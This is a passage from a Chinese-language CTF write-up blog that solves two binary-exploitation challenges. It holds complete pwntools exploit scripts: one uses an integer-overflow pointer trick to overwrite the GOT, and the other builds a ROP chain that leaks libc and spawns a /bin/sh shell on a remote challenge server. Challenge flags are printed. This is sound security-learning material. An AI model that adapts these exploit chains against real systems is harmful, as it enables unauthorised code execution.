puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
stack_array_addr = elf.symbols['stack']
int_over_num = 4294967296 # -> 0
# print(hex(puts_got), hex(stack_array_addr))
# gdb.attach(io)
io.sendline('pop') # p = 0, let puts_got get libc addr

# leak libc_puts_addr
io.sendline('setpointer')
io.sendline(hex(int_over_num + 1 - (stack_array_addr - puts_got) // 8)[2:]) # pop -> --p ,so +1

io.sendline('pop')
io.recvuntil('stack empty!\n')
r = io.recv().split(b'\n')[0]
libc_puts_addr = int(r, 16)
print(r, libc_puts_addr)

# calc system_addr
libcbase = libc_puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']

# modify strcmp_got -> libc system
io.sendline('setpointer')
io.sendline(hex(int_over_num - (stack_array_addr - strcmp_got) // 8)[2:])

io.sendline('push')
io.sendline(hex(system_addr)[2:])

# use str
io.sendline('/bin/sh')

io.interactive()
io.close()

记得计算偏移时要//8,想想为什么?

交互得到flag:

flag{5c16831d-488a-44b1-a4af-92379cae63b3}

rot13

this binary is so small!

checksec发现当然是64位ELF且只开启了NX保护。

不过这个ELF文件十分小,没有通用的pop ret的gadget,ida分析,发现有一处可以利用的mov ret(应该是故意给的),read函数有栈溢出漏洞,所以还是通过构造ROP链泄露一个libc的函数,减去偏移得到libc的基地址,计算system/bin/sh地址,然后再次利用getshell。

ou8x1.png

这里有个小技巧其实是我用pop pop ret控制rsp时出错了):

我们利用write泄露write_got时发现rdi在程序本身的write输出后就为1了,到我们利用时(leave ret之后)也没变,所以第一次泄露时就只用mov rsi ret控制rsi即可,刚好留下一个空位返回程序开始的地址,供下一次栈溢出利用。

整体过程:

  1. 找到mov rsi ret的gadget,read栈溢出泄露write_got并返回函数开头以继续利用read栈溢出。

  2. 减去偏移得到libc的基地址,计算system/bin/sh地址。

  3. 再次read栈溢出getshell。

代码如下:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import os
__dir__ = os.path.dirname(__file__)

context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'rot13_modify')
libc_file = os.path.join(__dir__, 'x64_libc.so.6')
libc = ELF(libc_file)
elf = ELF(pwn_file)
io = process([pwn_file], env={"LD_PRELOAD": './x64_libc.so.6'})
io = remote('everything411.top', 10016)
rand_val = 0xdeadbeefdeadbeef
write_plt = elf.plt['write']
write_got = elf.got['write']
mov_rdi_rsi_addr = 0x400425
mov_rsi_ret = 0x40042a
write_in_sub_addr = 0x4004AC
pop_rdx_rbp_ret = 0x40047e
pop_rbp_ret = 0x40047f
sub_func_addr = 0x400481
#gdb.attach(io)
payload_leak = b'A' * 0x40 + p64(rand_val) + \
        p64(mov_rsi_ret) + p64(write_plt) + p64(sub_func_addr) + p64(write_got)

io.sendline(payload_leak)
r = io.recvuntil('\x00\x00\x00\x00\n')
r = io.recv()
libc_write_addr = u64(r[:8])
print(r, hex(libc_write_addr))

libcbase = libc_write_addr - libc.symbols['write']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))

payload = b'A' * 0x40 + p64(rand_val) + \
        p64(mov_rdi_rsi_addr) + p64(system_addr) + p64(binsh_addr) + p64(0)       

io.sendline(payload)
io.recv()
io.interactive()
io.close()

交互得到flag:

flag{9034ba03-f34c-46f4-8213-e49e76a35ad2}

这里还有个小技巧(其实有点瞎搞:

这个ELF程序还有个alarm函数定时$10$秒自动退出,防止动态调试,我们可以在ida里找到这段汇编代码,按U变为hex字符串,用winhex等去查找ELF中这段hex串,找到0A 00 00 00改为FF FF FF FF,然后保存,这下运行这个ELF程序就会定时0xFFFFFFFF秒自动退出,相当于不退出,然后就可以gdb动态调试了。

ouNm2.png

(做hard时睡意袭来 $\rightarrow$ 其实就是做不来了)

小结

相比于上次写iscc2020的WP时,我总算会做点pwn了,路漫漫其修远兮(气象卫星),还得继续学习了。

同时做题时千万别被表象欺骗了,有几道题就是这么卡住我的,要学会看题面和题面的反面。


文章作者: SpaceSkyNet
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 SpaceSkyNet !
  目录
评论